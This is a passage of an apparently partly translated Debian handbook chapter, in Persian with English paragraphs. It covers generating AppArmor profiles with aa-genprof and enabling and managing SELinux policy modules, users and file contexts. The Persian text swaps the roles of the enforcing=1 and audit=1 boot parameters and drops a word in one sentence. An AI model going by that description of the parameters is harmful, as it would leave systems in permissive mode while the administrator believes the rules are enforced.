با اینکه ایجاد یک پروفایل AppArmor کار ساده‌ای است، اما اکثر برنامه‌ها چنین پروفایلی ندارند. این قسمت به شما نشان می‌دهد که چطور می‌توان یک پروفایل جدید را از ابتدا و با استفاده از برنامه هدف ایجاد کرد تا AppArmor با مانیتور کردن فراخوانی سیستمی به آن بتواند منابع مصرفی‌اش را تحت نظر قرار دهد.

مهمترین برنامه‌هایی که باید دسترسی محدود داشته باشند تحت شبکه بوده و آن‌هایی هستند که بیشتر هدف حملات راه‌دور قرار می‌گیرند. به همین دلیل است که AppArmor یک دستور متداول aa-unconfined را فراهم می‌کند تا فهرستی از برنامه‌های تحت شبکه با سوکت باز که پروفایل مشخصی ندارند بدست آید. با گزینه --paranoid شما فهرستی از تمام فرآیندهای تعریف نشده که حداقل یک ارتباط فعال شبکه را دارند دریافت می‌کنید.

# aa-unconfined 801 /sbin/dhclient not confined 409 /usr/sbin/NetworkManager not confined 411 /usr/sbin/cupsd confined by '/usr/sbin/cupsd (enforce)' 429 /usr/sbin/avahi-daemon confined by 'avahi-daemon (enforce)' 516 /usr/sbin/cups-browsed confined by '/usr/sbin/cups-browsed (enforce)' 538 /usr/sbin/zebra not confined 591 /usr/sbin/named not confined 847 /usr/sbin/mysqld not confined 849 /usr/sbin/sshd not confined 1013 /usr/sbin/dhclient (/sbin/dhclient) not confined 1276 /usr/sbin/apache2 not confined 1322 /usr/sbin/apache2 not confined 1323 /usr/sbin/apache2 not confined 1324 /usr/sbin/apache2 not confined 1325 /usr/sbin/apache2 not confined 1327 /usr/sbin/apache2 not confined 1829 /usr/lib/ipsec/charon confined by '/usr/lib/ipsec/charon (enforce)' 2132 /usr/sbin/exim4 not confined 12865 /usr/bin/python3.7 (/usr/bin/python3) not confined 12873 /usr/bin/python3.7 (/usr/bin/python3) not confined

In the following example, we will thus try to create a profile for /sbin/dhclient. For this we will use aa-genprof dhclient. In Debian Buster there is a known bug[6] that makes the previous command fail with the following error: ERROR: Include file /etc/apparmor.d/local/usr.lib.dovecot.deliver not found. To fix it create the missing files with touch file. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:

# aa-genprof dhclient Writing updated profile for /usr/sbin/dhclient. Setting /usr/sbin/dhclient to complain mode. Before you begin, you may wish to check if a profile already exists for the application you wish to confine. See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish Reading log entries from /var/log/syslog. Updating AppArmor profiles in /etc/apparmor.d. Profile: /usr/sbin/dhclient Execute: /usr/sbin/dhclient-script Severity: unknown (I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish P Should AppArmor sanitise the environment when switching profiles? Sanitising environment is more secure, but some applications depend on the presence of LD_PRELOAD or LD_LIBRARY_PATH. (Y)es / [(N)o] Y Writing updated profile for /usr/sbin/dhclient-script. Complain-mode changes: Profile: /usr/sbin/dhclient Capability: net_raw Severity: 8 [1 - capability net_raw,] [(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding capability net_raw to profile. Profile: /sbin/dhclient Capability: net_bind_service Severity: 8 [1 - #include <abstractions/nis> ] 2 - capability net_bind_service, (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding #include <abstractions/nis> to profile. Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 [1 - #include <abstractions/lightdm>] 2 - #include <abstractions/openssl> 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish 2 Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 1 - #include <abstractions/lightdm> [2 - #include <abstractions/openssl>] 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, [(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore A [...] Profile: /usr/sbin/dhclient-script Path: /usr/bin/dash New Mode: owner r Severity: unknown [1 - #include <abstractions/lightdm>] 2 - #include <abstractions/ubuntu-browsers.d/plugins-common> 3 - owner /usr/bin/dash r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish A Adding #include <abstractions/lightdm> to profile. Deleted 2 previous matching profile entries. = Changed Local Profiles = The following local profiles were changed. Would you like to save them? [1 - /usr/sbin/dhclient] 2 - /usr/sbin/dhclient-script (S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t S Writing updated profile for /usr/sbin/dhclient. Writing updated profile for /usr/sbin/dhclient-script. Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish F Reloaded AppArmor profiles in enforce mode. Please consider contributing your new profile! See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Finished generating profile for /usr/sbin/dhclient.

به یاد داشته باشید که برنامه کاراکترهای کنترلی از طرف شما را نشان نمی‌دهد ولی در اینجا به منظور بررسی شیوه عملکرد آن نمایش داده شده‌اند.

اولین رویداد تشخیص داده شده مربوط به اجرای برنامه دیگری است. در این مورد، شما چندین انتخاب دارید: می‌توانید برنامه را با پروفایل فرآیند والد آن (گزینه “Inherit”)، با پروفایل اختصاصی خود (گزینه‌های “Profile” و “Named”، که تنها در شیوه گزینش نام تفاوت دارند)، با پروفایل زیرمجموعه فرآیند والد آن (گزینه “Child”)، بدون پروفایل (گزینه “Unconfined”) اجرا کنید یا می‌توانید تصمیم بگیرید که برنامه اصلا اجرا نشود (گزینه “Deny”).

به یاد داشته باشید که در صورت انتخاب یک پروفایل اختصاصی و عدم وجود آن، این ابزار پروفایل جدید را برای شما ایجاد کرده و در همان قسمت قوانین پیشنهای را به شما ارائه می‌دهد.

در سطح کرنل، قدرت ویژه کاربر root به چندین “قابلیت” تقسیم می‌شود. زمانی که یک فراخوانی سیستمی نیازمند ... خاصی است، AppArmor تایید می‌کند آیا پروفایل به برنامه اجازه استفاده از چنین قابلیتی را می‌دهد یا خیر.

Here the program seeks read permissions for /etc/ssl/openssl.cnf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include <abstractions/openssl>” choice and then “A” to allow it.

Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/sbin/dhclient-script to run with its own profile.

پس از بازرسی تمام رویدادهای ثبت شده، برنامه پیشنهاد می‌دهد که تمام پروفایل‌های ایجاد شده در زمان اجرا ذخیره‌سازی شوند. در این مورد، دو پروفایل داریم که به صورت همزمان با استفاده از “Save” می‌توانیم ذخیره‌سازی کنیم (اما امکان ذخیره‌سازی انفرادی آن‌ها نیز وجود دارد) قبل از اینکه برنامه را با “Finish” به پایان برسانیم.

aa-genprof در حقیقت به عنوان یک لایه انتزاعی برای aa-logprof عمل می‌کند: این ابزار یک پروفایل خالی ایجاد کرده، آن را در حالت complain قرار می‌دهد و با اجرای aa-logprof، که ابزاری برای بروزرسانی پروفایل است، محتویات آن را مبتنی با رویدادهای ثبت شده در سیستم برورزسانی می‌کند. بنابراین در زمان دیگری می‌توانید با اجرای این ابزار پروفایل خود را بهینه‌سازی کنید.

If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/usr.sbin.dhclient close to this:

# Last Modified: Fri Jul 5 00:51:02 2019 #include <tunables/global> /usr/sbin/dhclient { #include <abstractions/base> #include <abstractions/nameservice> capability net_bind_service, capability net_raw, /bin/dash r, /etc/dhcp/* r, /etc/dhcp/dhclient-enter-hooks.d/* r, /etc/dhcp/dhclient-exit-hooks.d/* r, /etc/resolv.conf.* w, /etc/samba/dhcp.conf.* w, /proc/*/net/dev r, /proc/filesystems r, /run/dhclient*.pid w, /sbin/dhclient mr, /sbin/dhclient-script rCx, /usr/lib/NetworkManager/nm-dhcp-helper Px, /var/lib/NetworkManager/* r, /var/lib/NetworkManager/*.lease rw, /var/lib/dhcp/*.leases rw, owner /etc/** mrwk, owner /var/** mrwk, owner /{,var/}run/** mrwk, }

And /etc/apparmor.d/usr.sbin.dhclient-script might be similar to this:

# Last Modified: Fri Jul 5 00:51:55 2019 #include <tunables/global> /usr/sbin/dhclient-script { #include <abstractions/base> #include <abstractions/bash> #include <abstractions/lightdm> }

[6] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928160

14.5. مقدمه‌ای بر SELinux

14.5.1. اصول

SELinux که مخفف عبارت Security Enhanced Linux است، یک سیستم Mandatory Access Control مبتنی بر رابط LSM یا Linux Security Modules در لینوکس است. در عمل، کرنل قبل از هر فراخوانی سیستمی از SELinux پرس و جو می‌کند آیا فرآیند جاری مجاز به اجرای عملیات فوق‌الذکر می‌باشد یا خیر.

SELinux از مجموعه قوانین - که بنام policy شناخته می‌شوند - استفاده کرده تا عملیات را مجاز یا ممنوع کند. این قوانین به سختی ایجاد می‌شوند. خوشبختانه، دو خط مشی استاندارد targeted و strict فراهم شده‌اند که طیف گسترده‌ای از کار را بر عهده می‌گیرند.

با استفاده از SELinux، مدیریت دسترسی به شیوه‌ای کاملا متفاوت با سیستم‌های سنتی یونیکس انجام می‌شود. دسترسی یک فرآیند کاملا مبتنی بر زمینه امنیتی آن خواهد بود. این زمینه توسط شناسه کاربری که فرآیند را آغاز کرده است تعریف می‌شود، همراه با نقش و دامنه که کاربر در آن زمان داشته است. این حقوق کاملا مبتنی بر دامنه کار هستند، اما انتقال بین دامنه‌ها توسط نقش‌های کاربری کنترل می‌شود. در نهایت، انتقال‌های احتمالی بین چند نقش مبتنی بر شناسه کاربری خواهد بود.

شكل 14.1. زمینه‌های امنیتی و کاربران یونیکس

In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there is usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.

به طور مشخص این دسترسی‌ها به تمام اشیا متعلق نیستند (فایل‌ها، دایرکتوری‌ها، سوکت‌ها، دستگاه‌ها و از این قبیل). می‌توانند از هر شی به دیگری متفاوت باشند. برای دستیابی به این منظور، هر شی به یک نوع اختصاص می‌یابد (اینکار بنام برچسب‌گذاری شناخته می‌شود). دسترسی‌های یک دامنه توسط مجموعه‌ای از عمیات (غیر)مجاز روی این انواع بیان می‌شوند (و به طور غیرمستقیم، روی تمام اشیایی که با این نوع برچسب‌گذاری شده‌اند).

اضافی دامنه‌ها و انواع برابر هستند

Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with _t just like objects' types.

به صورت پیشفرض، یک برنامه دامنه خود را از کاربری که فرآیند را آغاز کرده است به ارث می‌برد، اما خطی مشی استاندارد SELinux انتظار دارد که برنامه‌های مهم در دامنه‌های اختصاصی اجرا شوند. برای دستیابی به این منظور، آن برنامه‌های اجرایی همراه با یک نوع اختصاصی برچسب‌گذاری می‌شوند (برای نمونه ssh توسط ssh_exec_t برچسب‌گذاری شده و زمانی که برنامه آغاز شود به صورت خودکار به دامنه ssh_t تغییر می‌یابد). این مکانیزم خودکار انتقال دامنه امکان اختصاص دسترسی‌های لازم برای هر بر نامه را فراهم می‌کند. این یک اصل پایه در SELinux به حساب می‌آید.

شكل 14.2. انتقال خودکار بین دامنه‌ها

در عمل یافتن زمینه امنیتی

برای یافتن زمینه امنیتی یک فرآیند، باید از گزینه Z دستور ps استفاده کنید.

$ ps axZ | grep vstfpd system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd

فیلد اول شامل شناسه، نقش، دامنه و سطح MCS است که با کاما جدا شده‌اند. سطح MCS یا Multi-Category Security پارامتری است که در برپایی محرمانگی از محافظت خط مشی دخالت دارد، که دسترسی به فایل‌ها را مبتنی بر میزان حساسیت آن‌ها کنترل می‌کند. این ویژگی در کتاب توضیح داده نمی‌شود.

برای یافتن زمینه امنیتی در یک پوسته، باید id -Z را فراخوانی کنید.

$ id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

در نهایت، برای یافتن نوع اختصاص یافته به یک فایل، می‌توانید از ls -Z استفاده کنید.

$ ls -Z test /usr/bin/ssh unconfined_u:object_r:user_home_t:s0 test system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

شایان ذکر است که شناسه و نقش اختصاص یافته به یک فایل از اهمیت خاصی برخوردار نیستند (هیچگاه استفاده نمی‌شوند)، اما به دلیل یکنواخت بودن، تمام اشیا شامل زمینه امنیتی کاملی خواهند بود.

14.5.2. راه‌اندازی SELinux

پشتیبانی از SELinux درون کرنل‌های استاندارد دبیان قرار دارد. ابزار اصلی یونیکس از SELinux بدون کوچک‌ترین تغییری پشتیبانی می‌کنند. بنابراین فعال‌سازی SELinux کار به نسبت ساده‌ای است.

دستور apt install selinux-basics selinux-policy-default به صورت خودکار تمام بسته‌های مورد نیاز برای پیکربندی یک سیستم SELinux را نصب می‌کند.

بسته selinux-policy-default شامل مجموعه قوانین استاندارد است. به صورت پیشفرض، این خط مشی تنها دسترسی به برخی سرویس‌های مشخص را محدود می‌کند. نشست‌های سمت کاربر محدود نیستند و از این رو بعید بنظر می‌رسد که SELinux عملیات مرتبط با کاربران مجاز را مسدود سازد. با این حال، اینکار منجر به بهبود امنیت سرویس‌های سیستمی می‌شود. برای راه‌انداری خط مشی که برابر با قوانین “strict” قدیمی باشد، تنها باید ماژول unconfined را غیرفعال کنید (مدیریت ماژول‌ها در ادامه آورده می‌شود).

زمانی که خط مشی مشخص گردد، باید تمام فایل‌های موجود را برچسب‌گذاری کنید (به این معنی که یک نوع به آن‌ها اختصاص دهید). این عملیات باید به صورت دستی توسط fixfiles relabel صورت پذیرد.

اکنون سیستم SELinux آماده است. برای فعال‌سازی آن، باید پارامتر selinux=1 security=selinux را به کرنل لینوکس اضافه کنید. پارامتر enforcing=1 امکان ثبت گزارش در SELinux که تمام عملیات غیرمجاز را ثبت می‌کند. در نهایت، پارامتر audit=1 قوانین را برای برنامه‌ها اجرایی می‌کند: بدون این پارامتر SELinux در حالت پیشفرض permissive خود فعالیت کرده به صورتی که عملیات غیرمجاز ثبت شده ولی هنوز اجرا می‌شوند. برای افزودن پارامترهای مورد نیاز باید فایل پیکربندی راه‌انداز GRUB را تغییر دهید. یک روش ساده برای اینکار تغییر متغیر GRUB_CMDLINE_LINUX در /etc/default/grub و اجرای update-grub است. SELinux پس از راه‌اندازی مجدد سیستم فعال‌سازی می‌شود.

شایان ذکر است که اسکریپت selinux-activate این عملیات را خودکارسازی کرده و در راه‌اندازی بعدی عملیات برچسب‌گذاری را انجام می‌دهد (که این عمل از ایجاد فایل‌های برچسب‌گذاری نشده در زمان غیرفعال بودن SELinux و زمانی که عملیات برچسب‌گذاری انجام می‌شود، پیشگیری می‌کند).

14.5.3. مدیریت یک سیستم SELinux

خط مشی SELinux مجموعه‌ای از قوانین ماژولار است که نصب آن با شناسایی و فعال‌سازی خودکار تمام ماژول‌های مبتنی بر سرویس‌های نصب شده فعالیت می‌کند. از این رو سیستم بلافاصله قابل استفاده است. با این حال، زمانی که یک سرویس پس از خط مشی SELinux نصب می‌شود، باید قادر باشید تا ماژول مرتبط با آن را فعال‌سازی کنید. هدف دستور semodule نیز همین است. علاوه بر این، باید بتوانید نقش‌های مورد نیاز هر کاربر را تعریف کنید که اینکار با استفاده از دستور semanage انجام می‌شود.

این دو دستور می‌توانند به منظور تغییر پیکربندی SELinux، که در /etc/selinux/default/ ذخیره‌سازی شده است، بکار روند. برخلاف تمام فایل‌های پیکربندی که می‌توانید در /etc/ پیدا کنید، این فایل‌ها نباید به صورت دستی تغییر یابند. باید از برنامه‌های مخصوص برای تغییر آن‌ها استفاده کنید.

مطالعه بیشتر مستندات بیشتر

Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution.

→ https://selinuxproject.org

You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support.

→ https://wiki.debian.org/SELinux

→ https://etbe.coker.com.au/tag/selinux/

14.5.3.1. مدیریت ماژول‌های SELinux

ماژول‌های موجود SELinux درون دایرکتوری /usr/share/selinux/default/ قرار دارند. برای فعال‌سازی یکی از این ماژول‌ها در پیکربندی فعلی، باید از semodule -i module.pp.bz2 استفاده کنید. پسوند pp.bz2 مخفف عبارت policy package است (که توسط bzip2 فشرده‌سازی شده است).

حذف یک ماژول از پیکربندی موجود با استفاده از semodule -r module صورت می‌پذیرد. در نهایت، دستور semodule -l فهرستی از تمام ماژول‌های نصب شده را نشان می‌دهد. همچنین شماره نسخه را نیز نمایش می‌دهد. ماژول‌ها می‌توانند توسط semodule -e فعال یا semodule -d غیرفعال شوند.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2 libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system. # semodule -l accountsd acct [...] # semodule -e abrt # semodule -d accountsd # semodule -l abrt acct [...] # semodule -r abrt libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.semodule -l

semodule بلافاصله پیکربندی جدید را بارگیری می‌کند مگر اینکه از گزینه -n استفاده کنید. شایان ذکر است که برنامه به صورت پیشفرض با پیکربندی فعلی کار می‌کند (که توسط متغیر SELINUXTYPE در /etc/selinux/config مشخص شده است)، اما می‌توانید آن را با استفاده از گزینه -s تغییر دهید.

14.5.3.2. مدیریت شناسه‌ها

هر مرتبه که کاربر وارد سیستم می‌شود، یک شناسه SELinux به وی اختصاص می‌یابد. این شناسه مشخص می‌کند کاربر از چه نقش‌هایی می‌تواند استفاده کند. این دو نگاشت (از کاربر به شناسه و از شناسه به نقش‌ها) توسط دستور semanage قابل پیکربندی هستند.

You should definitely read the semanage(8) manual page. All the managed concepts have their own manual page; for instance, semanage-login(8). Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most sub-commands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain).

semanage login -l نگاشت فعلی بین شناسه‌های کاربر و هویت‌های SELinux را فهرست می‌کند. کاربرانی که هیچ مدخل واضحی ندارند از شناسه موجود در مدخل __default__ استفاده می‌کنند. دستور semanage login -a -s user_u user شناسه user_u را به کاربر مورد نظر اختصاص می‌دهد. در نهایت، semanage login -d user نگاشت موجود برای کاربر را از بین می‌برد.

# semanage login -a -s user_u rhertzog # semanage login -l Login Name SELinux User MLS/MCS Range Service __default__ unconfined_u s0-s0:c0.c1023 * rhertzog user_u s0 * root unconfined_u s0-s0:c0.c1023 * # semanage login -d rhertzog

semanage user -l نگاشت فعلی بین شناسه‌های کاربری SELinux و نقش‌های مجاز را فهرست می‌کند. افزودن یک شناسه جدید مستلزم تعریف نقش‌های مرتبط با آن همراه با پیشوند برچسب‌گذاری برای اختصاص نوع به فایل‌های شخصی کاربر می‌باشد (/home/user/*). پیشوند باید از میان user، staff یا sysadm انتخاب شود. پیشوند “staff” روی فایل‌هایی از نوع “staff_home_dir_t” تاثیر می‌گذارد. ایجاد یک شناسه کاربری جدید SELinux توسط semanage user -a -R roles -P prefix identity انجام می‌شود. در نهایت، با استفاده از semanage user -d identity می‌توانید یک شناسه کاربری SELinux را حذف کنید.

# semanage user -a -R 'staff_r user_r' -P staff test_u # semanage user -l Labeling MLS/ MLS/ SELinux User Prefix MCS Level MCS Range SELinux Roles root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r system_u user s0 s0-s0:c0.c1023 system_r test_u staff s0 s0 staff_r user_r unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r user_u user s0 s0 user_r # semanage user -d test_u

14.5.3.3. مدیریت زمینه‌های فایل، درگاه‌ها و شرایط منطقی

هر ماژول SELinux مجموعه‌ای از قوانین برچسب‌گذاری را تعریف می‌کند، اما امکان تعریف قوانین سفارشی برای برچسب‌گذاری نیز وجود دارد. برای نمونه، اگر می‌خواهید که سرور وب قادر باشد فایل‌های درون دایرکتوری /srv/www/ را بخواند، می‌توانید دستور semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" را همراه با restorecon -R /srv/www/ اجرا کنید. دستور اول قوانین جدید برچسب‌گذاری را ثبت و دستور دوم انواع فایل را متناسب با قوانین جدید برچسب‌گذاری می‌کند.

به طور مشابه، درگاه‌های TCP/UDP به شیوه‌ای برچسب‌گذاری می‌شوند که تنها فرآیندهای پس‌زمینه متناسب بتوانند به آن‌ها گوش دهند. برای نمونه، اگر می‌خواهید سرور وب به درگاه ۸۰۸۰ گوش دهد، باید semanage port -m -t http_port_t -p tcp 8080 را اجرا کنید.

برخی ماژول‌های SELinux گزینه‌های منطقی‌ای را استخراج می‌کنند که با استفاده از آن‌ها می‌توانید عملکرد قوانین پیشفرض را تغییر دهید. از ابزار getsebool می‌توان برای شناسایی این گزینه‌ها استفاده کرد (getsebool boolean یک گزینه و getsebool -a تمام گزینه‌ها را نمایش می‌دهد). دستور setsebool boolean value مقدار فعلی یک گزینه منطقی را تغییر می‌دهد. گزینه -P باعث می‌شود که این تغییرات به صورت ثابت باقیمانده و در راه‌اندازی‌های بعدی سیستم دچار تغییر نشوند. مثال زیر به یک سرور وب اجازه می‌دهد که با دایرکتوری‌های home دسترسی یابد (در صورتی مفید است که وبسایت کاربران در ~/public_html/ قرار داشته باشد).

# getsebool httpd_enable_homedirs httpd_enable_homedirs --> off # setsebool -P httpd_enable_homedirs on # getsebool httpd_enable_homedirs httpd_enable_homedirs --> on

14.5.4. انطباق قوانین

از آنجا که خط مشی SELinux ماژولار بوده، توسعه ماژول‌های جدید برای برنامه‌هایی که به آن نیاز دارند (به صورت سفارشی) کار جالبی است. این ماژول‌های جدید خط مشی مرجع را کامل می‌کنند.

برای ایجاد ماژول‌های جدید، بسته‌های selinux-policy-dev و selinux-policy-doc مورد نیاز هستند. بسته دوم شامل مستندات قوانین استاندارد (/usr/share/doc/selinux-policy-doc/html/) و فایل‌های نمونه است که می‌توانند به عنوان قالب برای ایجاد ماژول‌های جدید بکار روند. این فایل‌ها را نصب کرده و به دقت مطالعه نمایید:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile $ cp /usr/share/doc/selinux-policy-doc/example.fc ./ $ cp /usr/share/doc/selinux-policy-doc/example.if ./ $ cp /usr/share/doc/selinux-policy-doc/example.te ./

فایل .te مهم‌ترین آن‌ها است که قوانین را تعریف می‌کند. فایل .fc “زمینه‌های فایل” را تعریف می‌کند، که همان نوع اختصاص یافته به فایل‌های مرتبط با این ماژول است. از داده موجود درون فایل .fc در گام برچسب‌گذاری استفاده می‌شود. در نهایت، فایل .if رابط مرتبط با ماژول را تعریف می‌کند: یک مجموعه از “توابع عمومی” است که سایر ماژول‌ها می‌توانند به منظور تعامل بهتر با این ماژول از آن‌ها استفاده کنند.

14.5.4.1. نوشتن یک فایل .fc

خواندن مثال زیر برای درک اولیه از محتوای فایل مذکور کافی است. می‌توانید با استفاده از عبارت‌های منظم یک زمینه امنیتی یکسان را برای چندین فایل یا حتی یک دایرکتوری کامل در نظر بگیرید.

مثال 14.2. فایل example.fc

# myapp executable will have: # label: system_u:object_r:myapp_exec_t # MLS sensitivity: s0 # MCS categories: <none> /usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. نوشتن یک فایل .if

در مثال زیر، اولین رابط (“myapp_domtrans”) کنترل می‌کند چه کسی می‌تواند برنامه را اجرا کند. رابط دوم (“myapp_read_log”) اجازه خواندن و نوشتن روی فایل‌های گزارش برنامه را می‌دهد.

هر رابط باید مجموعه‌ای معتبر از قوانین را که درون فایل .te قرار می‌گیرند تعریف کند. بنابراین باید تمام انواع مورد استفاده خود را تعریف کنید (با استفاده از ماکرو gen_require) و از عبارت‌های استاندارد به منظور تخصیص دسترسی بهره ببرید. با این حال، به یاد داشته باشید که می‌توانید از رابط‌های سایر ماژول‌ها نیز استفاده کنید. قسمت بعد توضیحات بیشتری در مورد چگونگی تخصیص این دسترسی‌ها ارائه می‌دهد.

مثال 14.3. فایل example.if

## <summary>Myapp example policy</summary> ## <desc> ## <p> ## More descriptive text about myapp. The <desc> ## tag can also use <p>, <ul>, and <ol> ## html tags for formatting. ## </p> ## <p> ## This policy supports the following myapp features: ## <ul> ## <li>Feature A</li> ## <li>Feature B</li> ## <li>Feature C</li> ## </ul> ## </p> ## </desc> # ######################################## ## <summary> ## Execute a domain transition to run myapp. ## </summary> ## <param name="domain"> ## Domain allowed to transition. ## </param> # interface(`myapp_domtrans',` gen_require(` type myapp_t, myapp_exec_t; ') domtrans_pattern($1,myapp_exec_t,myapp_t) ') ######################################## ## <summary> ## Read myapp log files. ## </summary> ## <param name="domain"> ## Domain allowed to read the log files. ## </param> # interface(`myapp_read_log',` gen_require(` type myapp_log_t; ') logging_search_logs($1) allow $1 myapp_log_t:file r_file_perms; ')

مستندات توضیحات درباره خط مشی مرجع

The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones.

→ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. نوشتن یک فایل .te

نگاهی به فایل example.te بیندازید:

مطالعه بیشتر زبان ماکرو m4

برای ساختاردهی مناسب خط مشی، توسعه‌دهندگان SELinux از یک پردازشگر دستور-ماکرو استفاده کرده‌اند. بجای رونوشت‌گیری از عبارت‌های مشابه allow، آن‌ها “توابع ماکرو” را ایجاد کرده‌اند که از یک منطق سطح بالاتر استفاده می‌کند، که این عمل به خوانایی بیشتر خط مشی می‌انجامد.

در عمل، از m4 برای کامپایل کردن این قوانین استفاده می‌شود. این ابزار عملیات را به صورت برعکس انجام می‌دهد: یعنی با بازکردن تمام آن عبارت‌های سطح-بالا به صورت یک پایگاه‌داده بزرگ از عبارت‌های allow عمل می‌کند.

“رابط‌های” موجود در SELinux فقط توابع ماکرو هستند که در زمان کامپایل با یک سری از قوانین جایگزین می‌گردند. به صورت مشابه، برخی دسترسی‌ها در حقیقت مجموعه‌ای از دسترسی‌ها هستند که در زمان کامپایل با مقادیر خود جایگزین می‌شوند.

policy_module(myapp,1.0.0) ######################################## # # Declarations # type myapp_t; type myapp_exec_t; domain_type(myapp_t) domain_entry_file(myapp_t, myapp_exec_t) type myapp_log_t; logging_log_file(myapp_log_t) type myapp_tmp_t; files_tmp_file(myapp_tmp_t) ######################################## # # Myapp local policy # allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; allow myapp_t myapp_tmp_t:file manage_file_perms; files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

ماژول باید توسط نام و شماره نسخه‌اش معرفی شود. این عبارت مورد نیاز است.

اگر ماژول انواع جدیدی را معرفی کند، باید به شکل عبارت مشابه بالا باشد. از ایجاد انواع مورد نیاز خود دریغ نکنید بجای اینکه تعداد زیادی دسترسی بی‌معنا صادر کنید.

این رابط‌ها نوع myapp_t را به عنوان یک دامنه فرآیند تعریف می‌کنند که باید برای هر برنامه اجرایی برچسب‌گذاری شده با myapp_exec_t بکار روند. به طور ضمنی، اینکار یک صفت exec_type روی آن اشیا اضافه می‌کند، که در عوض به سایر ماژول‌ها اجازه می‌دهد برای اجرای برنامه‌ها دسترسی‌های لازم را صادر کنند: برای نمونه، ماژول userdomain به فرآیندهای موجود در دامنه‌های user_t، staff_t و sysadm_t اجازه اجرا می‌دهد. دامنه‌های سایر برنامه‌های محدود شده اجازه دسترسی برای اجرا را ندارند، مگر اینکه قوانین همان دسترسی‌ها را برایشان تعریف کنند (برای نمونه، در مورد dpkg همراه با دامنه dpkg_t آن).

logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to logrotate so that it can manipulate them).

allow عبارت پایه‌ای است که برای احرازهویت یک عملیات استفاده می‌شود. پارامتر اول آن دامنه فرآیندی است که امکان اجرای عملیات را دارد. پارامتر دوم به تعریف یک شی می‌پردازد که فرآیند دامنه قبلی می‌تواند آن را تغییر دهد. این پارامتر به شکل “type:class“ است که در آن type نوع SELinux است و class طبیعت آن شی را تعریف می‌کند (فایل، دایرکتوری، سوکت و از این قبیل). در نهایت، پارامتر آخر به تعریف مجوزها می‌پردازد (همان عملیات مجاز).

